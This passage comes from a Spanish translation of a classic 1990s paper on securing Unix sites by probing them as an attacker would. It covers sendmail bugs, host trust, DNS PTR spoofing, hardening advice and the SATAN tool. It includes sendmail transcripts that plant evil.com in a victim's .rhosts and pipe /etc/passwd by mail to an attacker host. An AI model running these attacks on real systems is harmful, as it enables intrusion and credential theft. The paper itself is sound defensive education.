archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura 

CmdTab que tengan los strings �vrfy� y �expn�. Sites sin codigo pueden 

tambien desabilitarlos simplemente editando el ejecutable del sendmail con 

un editor binario y reemplazando �vrfy� y �expn� por espacios en blanco.

El adquirir una version reciente del sendmail (ver apendice D) es tambien 

una gran idea, puesto que ha habido mas informes sobre bugs en el 
sendmail 

que encualquier otro programa UNIX.

os bugs muy conocidos que deben ser tratados. El primero fue 

definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los  

mensajes de abajo, para versiones de sendmail previas a la 
5.59, �evil.com� 

se a�ade, a pesar de los mensajes de error, junto con los tipicos headers 

del mail, al archivo especificado:

 

% cat evil_sendmail

 telnet victim.com 25 << EOSM

 rcpt to: /home/zen/.rhosts

 mail from: zen

 data

 random garbage

 .

 rcpt to: /home/zen/.rhosts

 mail from: zen

 data

 evil.com

 .

 quit

 EOSM

 

 evil % /bin/sh evil_sendmail

 Trying 128.128.128.1

 Connected to victim.com

 Escape character is ''^]''.

 Connection closed by foreign host.

 evil % rlogin victim.com -l zen

                 Welcome to victim.com!

 victim %

 

El segundo agujero, recientemente solucionado, permitia a cualquiera 

especificar comandos arbitrarios de shell y/o caminos de ruta para el 

remitente y/o direccion de destino. Los intentos por mantener los detalles 

en secreto fueron en vano, y extensas discusiones en listas de correo o 

grupos de news de usenet llevaron a revelar como explotar los bugs de 

algunas versiones. Como en muchos bugs de UNIX, casi todas las 

distribuciones de sendmail eran vulnerables al problema, ya que todas 

compartian un ancestral codigo fuente comun. El espacio nos impide 

discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero 

de passwords seria de la siguiente manera:

 

evil % telnet victim.com 25

 Trying 128.128.128.1...

 Connected to victim.com

 Escape character is ''^]''.

 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

 mail from: "|/bin/mail zen@evil.com < /etc/passwd"

 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok

 rcpt to: nosuchuser

 550 nosuchuser... User unknown

 data

 354 Enter mail, end with "." on a line by itself

 .

 250 Mail accepted

 quit

 Connection closed by foreign host.

 evil %

 

Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver 

apendice D para informacion sobre como conseguirlo) es la unica variante 

del sendmail con todos los bugs recientes corregidos (ni de co�a J).

 

Confianza                 

 

Para nuestro ultimo topico de vulnerabilidad, nos desviaremos de la 

estrategia practica que hemos seguido previamente para meternos un poco 
mas 

en la parte teorica, y discutir brevemente la nocion de la confianza. Las 

cuestiones e implicaciones de la vulnerabilidad aqu�, son un poco mas 

sutiles y lejanas de alcanzar que las que hemos apuntado anteriormente; en 

el contexto de este texto usamos la palabra confianza siempre que se da la 

situacion de que un servidor (siempre que un host permite acceso remoto 
se 

le puede llamar servidor) permita que un recurso local sea usado por un 

cliente sin autentificacion de password cuando dicha autentificacion es 

normalmente requerida. En otras palabras, limitamos arbitrariamente la 

discusion a los clientes �disfrazados�.

 

Hay muchas maneras de un host pueda confiar: los ficheros .rhosts y 

hosts.equiv que permiten el acceso sin verificacion de password; servidores 

basados en ventanas que permiten a los sistemas remotos el uso y abuso 
de 

privilegios; archivos exportados que controlan el acceso via NFS, y mas.

 

 

Casi todos estos dependen de la conversion del IP del cliente al nombre del 

host para determinar si se concede el servicio o no. El metodo mas simple 

usa el archivo /etc/hosts para una busqueda directa. Sin embargo, hoy en 

dia la mayoria de hosts usan o bien DNS (Domain Name Service), NIS, o 
ambos 

para el servicio de busqueda del nombre. Una busqueda inversa ocurre 
cuando 

un servidor tiene una direccion IP (de una conexi�n de un cliente) y desea 

coger el correspondiente nombre del host del cliente.

 

Auqnue el concepto de como funciona la confianza del host es bien sabido 

por muchos administradores de sistema, los peligros de la confianza, y el 

problema practico que representa, sin tomar en consideracion la 

interpretacion del nombre del host, es uno de los problemas menos 

entendidos que conocemos en Internet. Esto va mas alla de los obvios 

ficheros hosts.equiv y .rhosts; NFS, NIS, sistemas de ventanas � de hecho, 

muchos de los utiles servicios en UNIX estan basados en el concepto de que 

sites bien conocidos (para un administrador o ususario) son de alguna 

manera de confianza. Lo que no se entiende es como las redes atan de 
forma 

tan estrecha la seguridad entre lo que normalmente se consideran hosts 

inconexos.

 

Cualquier forma de confianza puede ser enga�ada, burlada, o derribada, 

especialmente cuando la autoridad que tiene la responsabilidad de chequear 

los credenciales de un cliente esta o bien fuera del dominio administrativo 

del servidor, o cuendo el mecanismo de confianza esta basado de alguna 

forma en metodo que tiene una forma debil de autentificacion; normalmente 

ambos son el caso.

 

Obviamente, si el host que contiene la base de datos (bien NIS, DNS, o o lo 

que sea) ha sido comprometido, el intruso puede convencer al host victima 

de que el viene de cualquier host de confianza; ahora es suficiente con 

encontrar que hosts son de confianza para la victima. Esta tarea es en gran 

medida facilitada examinado de donde los administradores de sistema y las 

cuentas del sistema (tales como root, etc.) se conectaron por ultima vez. 

Volviendo a nuestra victima, victim.com, puedes ver que la cuenta root asi 

como otras cuentas del sistema se conectaron desde big.victim.com. 
Cambias 

el registro PTR para evil.com de forma que cuando intentes hacer un rlogin 

(login remoto) desde evil.com a victim.com, evil.com intentara buscar tu 

nombre de host y encontrara lo que pusistes en el registro. Si el registro 

en la base de datos DNS es asi:

 

1.192.192.192.in-addr.arpa     IN      PTR     evil.com

 

y lo cambias por:

 

1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com

 

entonces, dependiendo de como sea de ingenuo el software de victim.com, 

victim.com creera que el acceso proviene de big.victim.com, y, asumiendo 

que big.victim.com este en los ficheros /etc/hosts.equiv o /.rhosts, te 

sera posible aceder sin tener que proporcionar un password. Con NIS, es 

cuestion de o bien editar la base de datos del host en el NIS maestro (si 

es que este esta controlado por el intruso) o de burlar o forzar el NIS 

(ver discusion sobre la seguridad del NIS arriba) para proporcionar a la 

victima cualquier informacion que desees. Aunque mas complejos, da�inos 
e 

interesantes ataques pueden ser realizados por medio del DNS, el tiempo y 

el espacio no permiten cubrir dichos metodos aqu�.

 

Dos metodos puedem ser usados para prevenir dichos ataques. El primero 
es 

el mas directo, pero quizas mas poco practico. Si tu site no usa ningun 

metodo de confianza, no seras tan vulnerable al enga�o de host. La otra 

estrategia es la de usar protocolos encriptados. El usar el seguro 

protocolo RPC (usado en NFS, NIS+, seguros) es un metodo; aunque ha 
sido 

�roto� criptograficamente, aun da mas seguridad que los procedimientos de 

autentificacion RPC que no usan ningun tipo de metodo de encriptacion. 

Otras soluciones, tanto de hardware (smartcards) como de software 

(Kerberos), estan siendo desarroladas, pero estan o bien incompletas o 

requieren cambios en el software de el sistema.

 

El apendice B detalla los resultados de un estudio informal tomado de una 

variedad de hosts en Internet.

 

protegiendo el sistema

 

 

Es nuestra esperanza el que hallamos demostrado que incluso algunos de 
los 

aparentemente inocuos servicios ofrecidos (algunas veces 
inesperadamente) 

pueden ser �municion� para determinados crackers de sistemas. Pero, por 

supuesto, si la seguridad fuera nuestra unica preocupacion, los ordenadores 

jamas estarian encendidos, y enganchados a una red con literalmente 

millones de intrusos en potencia. Mas que dar avisos de que deberia o no 

ncenderse, ofreceremos algunas sugerencias generales:

 

  Si no puedes quitar el servicio finger, considera el instalar un nuevo     

finger daemon. Es raramente necesario el revelar el home directory de un 

usuario y la procedencia de su ultimo acceso.

 

  No corras NIS a menos que sea absolutamente necesario. Usalo lo menos 

posible.

 

  Jamas exportes sistemas de archivo NFS sin restriccion, a todo el mundo. 

Trata de exportar sistemas de archivos de solo lectura cuando sea 

posible.

 

  �Fortifica� y protege los servidores (ej, los hosts que dan un servicio 

a otros hosts � NFS, NIS, DNS, o lo que sea.). Solo permite cuentas 

administrativas en dichos hosts.

 

  Examina cuidadosamente los servicios ofrecidos por inetd y el mapeador 

de puertos (pormapper). Elimina todos aquellos que no sean totalmente 

necesarios. Usa los inetd wrappers de Wietse Venema, no para otra 

funcion que la de tener un log de las fuentes de conexiones a tu host. 

Esto aporta grandes mejoras a las caracteristicas de verificacion 

standard de UNIX, especialmente con referencia a los ataques de red. Si 

es posible, usa los metodos loghost de syslog para obtener informacion 

relacionada con la seguridad en un host seguro.

 

  Elimina los metodos de confianza a menos que su uso sea totalmente 

necesario. La confianza es tu enemigo.

  Usa passwords shadowed y el comando passwd para rechazar passwords 

pobres, debiles. Desabilita cuentas de usuario o de sistema no usadas o 

inactivas.

 

 

  Estate al tanto de la literatura actual (observa la lista de lectura y 

bibliografua sugerida al final de este documento) y de las herramientas 

de seguridad; informa a los demas acerca de problemas e incidentes de 

seguridad. Como minimo, suscribete a la lista de mail del CERT y de la 

revista PHRACK (ademas de la lista de mail de los firewalls, si tu site 

esta usando o piensa instalar firewalls) y lee los grupos de news de 

usenet acerca de seguridad para asi obtener la ultima informacion sobre 

problemas de seguridad. La ignorancia es el problema de seguridad mas 

mortal de los que estamos al tanto.

 

  Instala todos los parches de seguridad tan pronto como sea posible, en 

todos tus hosts. Examina la informacion de los parches de seguridad de 

otras distribuciones � muchos bugs (rdist, sendmail) son comunes en 

muchas variantes UNIX.

 

Es interesante el ver que soluciones comunes para problemas de 
seguridad , 

tales como usar Kerberos o el usar passwords de usar y tirar o tokens 

digitales no son efectivas contra muchos de los ataques discutidos aqu�. 

Recomendamos de verdad el uso de tales sistemas, pero alertamos que no 
son 

la solucion TOTAL a los problemas de seguridad � son parte de un esfuerzo 

ayor de proteger tu sistema.

 

Conclusiones

 

Tal vez ninguno de los metodos expuestos aqu� sean sorprendentes; cuando 
se 

escribio este documento, no aprendimos mucho sobre como irrumpir en 

sistemas. Lo que aprendimos fue, testeando estos metodos en nuestros 

propios sistemas y en sites amigos, lo efectivos que son estos metodos a la 

hora de ganar acceso a un tipico host Unix de Internet. Cansado de tratar 

de teclear todo esto a mano, y deseando mantener nuestros propios 
sistemas 

mas seguros, decidimos poner en practica una herramienta de seguridad 

(SATAN) que trata de chequear hosts remotos al menos para alguno de los 

problemas discutidos aqu�. La tipica respuesta, cuando informabamos a la 

gente acerca de nuestro documento y nuestra herramienta, era algo del 

estilo de �eso suena bastante peligroso � espero que no vayas a darlo a 

todo cristo. Pero ya que tu confias en mi, podria tener una copia?�

 

Jamas pensamos en crear un cookbook o una herramienta de metodos y 

programas soobre/para irrumpir en sistemas � en vez de eso, vemos que 
estos 

mismos metodos fueron usados, todos los dias, contra nosotros y contra 

administradores de sistema amigos. Creemos que el propagar la 
informacion 

que normalmente no era accesible para aquellos que estuvieran fuera del 

underworld, podemos aumentar la seguridad incrementando la conciancia 
del 

peligro.. El intentar restringir el acceso a informacion �peligrosa� sobre 

seguridad nunca ha sido un metodo muy util para incrementar la seguridad; 

de hecho, lo contrario parece ser el caso, ya que los crackers de sistemas 

han sido reticentes a la hora de compartir informacion con otros.

 

 

Mientras es casi seguro que alguna de la informacion aqu� presentada es 

material nuevo para aspirantes a crackers de sistemas, y que algunos la 

usaran para ganarse accesos no autorizados en hosts, la evidencia 

presentada por nuestros tests muestra que hay un monton de sites 
inseguros, 

simplemente por que el administrador de sistema no sabe mucho mas � no 
son 

estupidos o lentos, simplemente no son capaces de pasar el poco tiempo 
que 

tienen libre explorando todas las materias de seguridad pertenecientes a 

sus sistemas. Combinado esto con el hecho de que no tienen un acceso facil 

a este tipo de informacion da como resultado sistemas pobremente 

defendidos. 

 

Esperamos (modetamente) que este documento provea de datos muy 
necesarios 

sobre como los sistemas son crackeados, y mas aun, explique por que se 

deben de dar ciertos pasos para proteger un sistema. El saber por que algo 

es un problema es, en nuestra opinion, la clave para aprender y hacer una 

eleccion informada e inteleginte para lo que la seguridad de tu sistema 

significa de verdad.

-----

Apendice A:

SATAN (Security Analysis Tool for Auditing Networks)

 

Concebido originalmente hace unos a�os, SATAN es actualmente el 
prototipo 

de una vision mas amplia y comprensible de una herramineta de seguridad. 
En 

su encarnacion actual, SATAN prueba e informa remotamente acerca de 
varios 

bugs y debilidades en servicios de red y sistemas basados en ventanas, asi 

como tambien detalla tanta informacion util sobre la victima como le es 

posible. Entonces procesa los datos con un filtro y con lo que se 

calificaria como un sistema experto para al final generar el analisis de 

seguridad. A pesar de no ser particularmente rapido, es extremadamente 

adaptable y facil de modificar.

 

 

SATAN consiste en varios sub-programas, cada uno de los cuales es un 

fichero ejecutable (perl, shell, binario compilado en C, lo que sea) que 

testea un host para una debilidad potencial dada. El a�adir futuros 

programas de testeo es tan facil como poner un ejecutable en el directorio 

principal con la extension �.sat�; el programa principal lo ejecutara 

automaticamente. Este genera una serie de blancos (usando DNS y una 
version 

rapida de ping a la vez para llegar a los blancos en directo), y despues 

ejecuta cada uno de los programas sobre cada uno de los blancos. Un 

programa de interpretacion/filtrado de datos analiza despues el resultado, 

y finalmente un programa de informes digiere todo para ponerlo en un 

formato mas leible.

 

El paquete entero, incluyendo el codigo fuente y la documentacion, estara 

disponible libremente al publico, via ftp anonimo y postenadolo a uno de 

los numerosos foros sobre codigo fuente de Usenet.

 

Apendice B

 

Un estudio informal llevado a cabo en al menos una docena de sites en 

Internet (educacionales, militares, y comerciales, con unos 200 hosts y 

4000 cuentas) revelo que como media, alrededor del 10% de las cuentas de 
un 

site tenian archivos .rhosts. Cada uno de estos archivos promediaba 6 hosts 

confiados; sin embargo, no era raro el tener unas 100 entradas en el 

archivo .rhosts de una cuenta, y en algunas ocasiones, esta cifra estaba 

alrededor de 500! (Este no es un record del que uno deberia estar orgulloso 

de poseer). Adicionalmente, cada uno de los sites directamente en Internet 

(un site estaba practicamente tras un firewall) confiaba en un usuario o 

host en otro site � asi que, la seguridad del site no estaba bajo el 

control directo del administrador de sistema. Los sites mas grandes, con 

mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con 

archivos .rhosts, pero el tama�o de estos archivos era mayor, asi como el 

numero de hosts remotos de confianza.

 

Aunque fue muy dificil el verificar cuantas de las entradas fueron validas, 

con nombres de host tales como "Makefile", "Message-Id:", and

"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", asi como unas pocas entradas de 
wildcard, nos 

cuestionamos la sensatez de poner la seguridad de un site en manos de sus 

usuarios. Muchos usuarios (especialmente los poseedores de largos archivos 

.rhosts) intentaron poner comentarios tipo shell en sus archivos .rhosts, 

que son intentados reolver como nombre de host validos por muchos 
sistemas 

UNIX. Desafortunadamente, un atacante puede entonces usar las tecnicas 
DNS 

y NIS de enga�o del nombre de host discutidas antes para fijar sus nombres 

de host como "#" y entrar libremente. Esto pone en riesgo a muchos sites 

(al menos una distribucion es dada con comentarios en sus archivos 

/etc/hosts.equiv).

 

Podrias pensar que estos sites no son tipicos, y, de hecho, no lo eran. 

Virtualmente todos los administradores saben un monton sobre seguridad y 

escriben programas de seguridad como hobby o como profesion, y muchos 
de 

los sites para los que trabajaron hicieron estudios de seguridad o crearon 

roductos de seguridad. Solo podemos suponernos como sera un site �tipico�.

apendice C:

 

Despues de recibir mail de un site que habia sido violado desde uno de 

nuestros sistemas, se inicio una investigacion. Con el tiempo, encontramos 

que el intruso estaba haciendolo desde una lista de sites �.com� 

(comerciales), buscando hosts con ficheros de password faciles de robar. En 

este caso, �facil de robar� se refiere a sites con un nobre de dominio NIS 

facil de adivinar y un servidor NIS de facil acceso. Sin saber cuan lejos 

habia llegado el intruso, parecia una buena idea el alertar a los sites que 

eran en si vulnerables al robo de passwords. De los 656 hosts de la lista 

del intruso, 24 tenian archivos de password susceptibles de robo � 1 de 

cada 25 hosts mas o menos!!. Un tercio de estos archivos  contenia al 
menos 

una cuenta sin password con shell interactivo. Con un total de 1594 

entradas, a una media de 10 minutos corriendo un password cracker 
(Crack) 

daria mas de 50 passwords, usando una estacion de trabajo Sun de gama 
baja.

Otros 40 mas se encontaron en los siguientes 20 minutos; y un password de 

la cuenta root se encontro en solo 1 hora. El resultado despues de unos 

dias de crackeo fue: 5 passwords root, 19 de 24 archivos de password 
(80%) 

con al menos un password conocido, y 259 de 1594 (1 sexto) passwords 

adivinados.

 

Apendice D:

 

Como conseguir metodos de seguridad gratis en Internet

 

Listas de mail:

o The CERT (Computer Emergency Response Team) advisory mailing list.

Mandar e-mail a cert@cert.org, y pedir que se te ponga en su lista de mail.

 

o  The Phrack newsletter.  Mandar e-mail a phrack@well.sf.ca.us y pedir que 

se te a�ada en la lista.

 

o  The Firewalls mailing list. majordomo@greatcircle.com 

Poner lo siguiente:

 

    subscribe firewalls

 

o  Computer Underground Digest.  Mandar e-mail a

tk0jut2@mvs.cso.niu.edu, pidiendo que te pongan en la lista.

 

Software gratis:

 

 

COPS (Computer Oracle and Password System) disponible via ftp

anonimo fde archive.cis.ohio-state.edu, in pub/cops/1.04+.

 

The tcp wrappers disponibles via ftp anonimo de ftp.win.tue.nl,

in pub/security.

 

 

Crack esta disponible en ftp.uu.net, in /usenet/comp.sources.misc/volume28.

 

TAMU is a UNIX auditing tool that is part of a larger suite of excellent

tools put out by a group at the Texas A&M University.  They can be

gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

 

 

Sources for ftpd and many other network utilities can be found in

ftp.uu.net, in packages/bsd-sources.

 

 

Source for ISS (Internet Security Scanner), a tool that remotely scans

for various network vulnerabilities, is available via anonymous ftp from

ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

 

 

Securelib is available via anonymous ftp from ftp.uu.net, in

usenet/comp.sources.misc/volume36/securelib.

 

 

The latest version of berkeley sendmail is available via anonymous ftp

from ftp.cs.berkeley.edu, in ucb/sendmail.

 

Tripwire, a UNIX filesystem integrity checker+, is available via anonymous

ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

 



Enviado desde http://hackers.aforo.com